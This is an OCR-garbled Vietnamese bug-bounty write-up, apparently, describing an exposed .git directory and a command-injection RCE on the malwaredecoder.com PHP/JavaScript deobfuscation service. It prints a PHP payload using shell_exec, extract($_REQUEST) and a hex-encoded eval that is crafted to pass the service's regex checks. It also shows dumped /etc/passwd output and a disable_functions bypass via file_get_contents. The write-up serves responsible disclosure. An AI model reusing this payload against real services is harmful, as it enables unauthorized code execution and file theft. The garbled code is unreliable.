Malwaredecode System Multiple Vulnerability
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. Tém Tat

Mot ngay kia toi di tim cho minh mot 10Cs ciia malware da dwgc obfuscator trén ngén ngit php va tinh
c& dua tdi téi cong cu malwaredecode dé deobfuscator va t6i vo tinh phat hién 16 héng nguy hiém cho
phép tdi thyc thi nhiéu quyén trén hé théng

II. Chi Tiét

DAu tién tdi vao malwaredecoder.com tuy nhién bang céc bién phap scan don gian tim sucdomain
quttera.com t6i phat hién nhiéu domain dugc tré vé va chay giéng nhu vay vi du nhw
maldec.quttera.com.

1.1.1. L6 H6ng Git directory

Bang cach don gidn thir tim thuw muc git cla ho t6i phat hién t6i cé thé tai vé source ctia ho mot cach kha
dé dang

Figure 1: Git config

Théng qua cac cdng cu git dumper tdi d3 tai dwoc code cla ho vé



Figure 2: Git Dumper
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Figure 3: Doc Code

1.1.2: 16 H6ng RCE — Command Injection



Vi minh dang di tim I0Cs nén dua vao 16 héng phia trén thi minh cé code nhuwng ludi dung lai dung ludn
cta ho cho nhanh tuy nhién khi chay thi c6 mét doan code d3 khdng ra dwgc nhu minh can (ldc nay la

cop nén ciling cha nhin gi)
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Decode History

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
Soutput = shell_exec('cat /etc/passwd');echo "<pre=$output</pre=";@extract($_REQUEST),echo($It($works))

Unable to decode.

IMake sure that the code is a PHP or Javascript executable. Thank you.

Submit New Code

O day code kha clear rdi nhung minh van pates vao... Nghe rat vo ly nhung lai thuyét phuc day

Dirng voi bo di hay ddnh gia gi ma hay bién tdu moét chdt nao thém cac ky ty hex vao coi sao nhi?

<?php
$output = shell_exec('cat /etc/passwd’);echo
"<pre>$output</pre>";@extract($ REQUEST);eval("\x65\x76\x61\x6C");echo($It($works)

);

Cho may ma hex rac vao trong ham eval dé cho né giéng ma doc, ly do 1a do doan code nay.


mailto:extract($_REQUEST);eval

$this-»is_walid = FALSE;
if (preg_match_all{"/(\\\\x[@-9a-f]{2})+/1", $string) > @)

{
$this-ris_wvalid = TRUE;
¥
elseif (preg_match_all("/chr\([\d]+\)/1i", %string) > @)
{
$this-ris_wvalid = TRUE;
¥
elseif (preg_match_sll("/\\‘\\u([e-2a-fA-F]{4})/1", $string) > @)
{
$this-»is_walid = TRUE;
¥
elseif (preg match_all('/@%eval[\/\*a-z@-9\s]*\({?!function)[~\$]+\); /1", $string))
{
$this-»is_walid = TRUE;
T
elseif (preg match_all('/@%evall W/ \*a-z@-9\s]*\({[W\OON " W=\AAsSAE]FIN) /10, $string))
{
$this-»is_walid = TRUE;
¥
elseif (preg match all{"/\secho\s*[ "\ \EN(]+[*;]%8: /1", S=string))
{
$this-»is_walid = TRUE;
¥
elseif (preg match_all("/base6d decodel\([*; \8]+\); /1", $string))
{
$this-»is_wvalid = TRUE;
¥
elseif (preg match_all{"/@%eval\s*\(function\(p,a,c,k,e,r\)["\rin]+{}\)\);2/1", $string))
{
$this-»is_wvalid = TRUE;
¥
elseif (preg match_all("/string.fromcharcoded({[\d, \s]+\);3#/1", %string))
{
$this-»is_walid = TRUE;
¥
elseif (preg match_all{"/\&{‘w+)[W[N{]Nd#[\]N}]/1", $string))
{
$this-»is_walid = TRUE;
¥
elseif (preg match_all("/urldecode’\{"s*[\"\'J([*\)]+)[W"\"]hs™N); /1", $string))
{
$this-»is_walid = TRUE;
¥
elseif (preg match_all("/document[\. N[\ TFwrite[\V"N]1N(([", 5 140\ )+ 271", $string))
{

+hi ic lid — TDIIE:

Céc ban thay gi chir dua vao céi code 1y duoc qua git thi d&€ ma ngudn cé thé decode duoc thi phai cé
may cdi ky ty preg_match_all() nén minh phai dwa may cdi ma hex vdi ca eval vao dé cho da diéu kién
preg_match_all() va mét diéu ky diéu d3 xay ra. RCE dwoc thyec thi qua dep.



& > C {y & malwaredecoder.com/result/bddb6f07f3436e3c44a8dd54c5d00d24
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bin:x:2:2:bin:/bin: fusr/sbin/nologin
sys:x:3:3:isys:fdev:fusr/sbin/nologin
sync:x:4:65534:sync:fbin: fbin/sync
games:x:5:6@:games: fusr/games: fusr/sbin/nologin
man:x:6:12:man: fvar/cache/man: fusr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin

:9:9:news: fvar/spool/news: fusr/sbin/nolegin

7
mail:x:8:8:mail:/var/mail: /usr/sbin/nologin
news : x

X

uucp:x:1@:18:uucp: SvarSspool fuucp: fusr/sbin/nelogin

proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
wwwi-data:x:33:33 iwww-data: fvar/waw: fusr/sbin/nologin
backup:x:34:34:backup: fvar/backups: fusr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: fusr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534: 65534 nobody: /fnonexistent: fusr/sbin/nologin

Home Qu

systemd-network:x:18@:182:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nolegin

systemd-resolve:x:181:183:systemd Resolwver,,,:/run/systemd/resolve:fusr/sbin/nologin

syslog:x:182:1@6: : /home/syslog: fusr/sbin/nologin
messagebus:x:183:187: : fnonexistent: fusr/sbin/nologin
_apt:ix:184:65534: : /nonexistent:/usr/sbin/nologin
Ixd:x:185:65534:: /var/lib/1xd/: /bin/false
uuidd:x:186:11@: : /run/uuidd: fusr/sbin/nologin
dnsmasq:x:187:65534:dnsmasq, ,, :/var/lib/misc: fusr/sbin/nologin
landscape:x:1@8:112: :/var/lib/landscape: fusr/sbin/nolegin
sshd:x:189:65534: : frun/sshd: fusr/sbin/nelogin
pollinate:x:11@:1:: fvar/cache/pollinate: /bin/false
nginxix:111:114:nginx user,,,:/nonexistent:/bin/false
malwaredecoder:x: 1068@: 1888: , ,, : /home/malwaredecoder: /bin/bash
glances:x:112:115:: /var/lib/glances: fusr/sbin/nologin
mysql:x:113:116:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:114:117:ftp daemon,,,:/srv/ftp:/usrfsbin/nologin
malbuster:x:108@1:16881:,,,/var/wew/malbuster: /bin/baszh
vsTipd:x:1082:10882:,,,: /var/ww/malbuster: /bin/bash
Debian-snmp:x:115:118::/var/1lib/snmp:/bin/false

Sau dé minh d3 cé bédo cdo cho ho va nhan 1508 tién thudng

Chi tiét giao dich

Héa don d3 nhan

=in

s6 tién gop

17:01:43 GMT+7 Ngdy 05 thang 07 nim 2020 M3 giao dich: 1IWN48440YF530571R 150,00 $ usbD

Tinh trang thanh toan:
Hoan tién
Xem théng tin héa don



Sau khi nhan duoc tién song thi minh d3 tién hanh kiém tra lai 2 16 héng trén 16 hong git d3 dwoc chan
tuy nhién 16 hdng RCE thi ho fix bang cach chan ham shell_exec clia minh trong php.ini

o van
entl_alarm, pentl_fork pentl_waitpid, penll_wait pentl_wifexited pentl
wifstopped pentl_wifsignaled pentl_wifcontinued pentl_wexitstatus,
cnil_wtermsig pentl_wstopsig,penil_signal pentl_signal_get_handl|
r.pcntl_signal_dispatch penfl_get_last_emor penil_strerror pentl_si
procmask, penil_sigwaitinfo, pentl_sigiimedwait, penfl_exec pentl_g

etpricrty, pentl_setpriority pentl_async_signals.dl exec passthru shel

|_exec,sysiem,proc_open, popen curl_exec curl_mulfi_exec parse i

ni_file show_source

pentl_alarm,pentl_fork, pentl waitpid, pentl_wait pentl_wifexited pentl
| wifstopped pentl_wifsignaled pent]_wifcontinued, pentl_wexitstatus,
pentl_wtermsig, pentl_wstopsig,penil_signal pentl_signal_get_hand]
eer.pentl_signal_dispatch pentl_get last_error, pentl_strerror,pentl_sig
precmask, pentl_sigwaifinfo, pontl_siglimedwait pentl_exec, pentl_get
pricritypentl_setpricrity pentl_async_signals, dl exec passthru_shell_
Eexec system proc_ocpen popen,curl_exec,. curl_multi_exec parse_ini
| file, show_source

Va tlr day minh d3 chuyén thyc thi qua cac bién khédc cda php nhu file_get_content dé |4y file password.

(& (@] view-source:https://malwaredecoder.com/result/f80aebe%a80bb88efecdfb019bfE89aa

<prerroot:x:@:@:root: /root: /bin/bash

daemon:x:1l:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbhin/nologin
sys:x:3:3:sys:fdevifusr/sbin/nologin
sync:x:4:65534: sync: /bin: /bin/sync
games:x:5:6@:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p: fvar/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail: fusr/sbin/nologin
news:x:9:%:news:/var/spool/news: fusr/sbin/nologin
uucp:x:1@:1@:uucp: fvar/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
wuw-data:x:33:33 twww-data: fvar/www: fusr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd: fvar/run/ircd: fusr/sbin/nologin
gnats:x:41:41:6nats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534: 65534 nobody : /nonexistent: fusr/sbin/nologin
systemd-network:x:180:182:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:181:103:systemd Resolver,,,:/run/systemd/resolve:fusr/sbin/nologin
syslogix:102:1@26: : fhome/syslog: fusr/sbin/nologin
messagebusix:1@3:187 : /nonexistent: fusr/sbin/nologin
_aptix:184:65534:: /nonexistent:/usr/sbin/nologin
lxd:x:105:65534:: /var/1lib/1xd/: /bin/false

uuidd:x:186:11@: :/run/uuidd: fusr/sbin/nologin
dnsmasqg:x:187:65534:dnsmasq, ,, :/var/lib/misc: fusr/sbin/nologin
landscape:x:1@88:112: : fvar/lib/landscape: fusr/sbin/nologin
sshd:x:102:65534: : frun/sshd: fusr/sbin/nologin
pollinate:x:11@:1::/var/cache/pollinate: /bin/false
nginx:x:111:114:nginx user,,,:/nonexistent:/bin/false
malwaredecoder:x:1880:1008;,,,:/home/malwaredecoder: /bin/bash
glances:x:112:115::/var/lib/glances: /usr/sbin/nologin
mysgql:x:113:116:MySQL Server,,,:/nonexistent:/bin/false
Ttp:x:114:117:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
malbuster:x:1l@@l:1881:,,, : /var/www/malbuster: /bin/bash
vsftpd:ix:10@2:1002:,,, : /var/wwa/malbuster: /bin/bash
Debian-snmp:x:115:118: : /var/lib/snmp: /bin/false

</pre>
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L6 héng duoc bdo 1an 2 va dwoc xir ly triét dé
ll. K&t Ludn Khuyén Cdo.

V@i cac hé thdng dé lvu va decode ma ddc thi tdi cd mét s& khuyén cdo nhu sau:



- H3y dung docker khéng dung méi trudrng that trén may chd dé chay web, véi docker thi viéc ban
x(r ly file m3 doc sé an toan hon
- M3 dbc nén duoc luu trén cdc may chd CDN bén th 3 nhw s3 ciia amazon khong luu trén may

chl cda minh



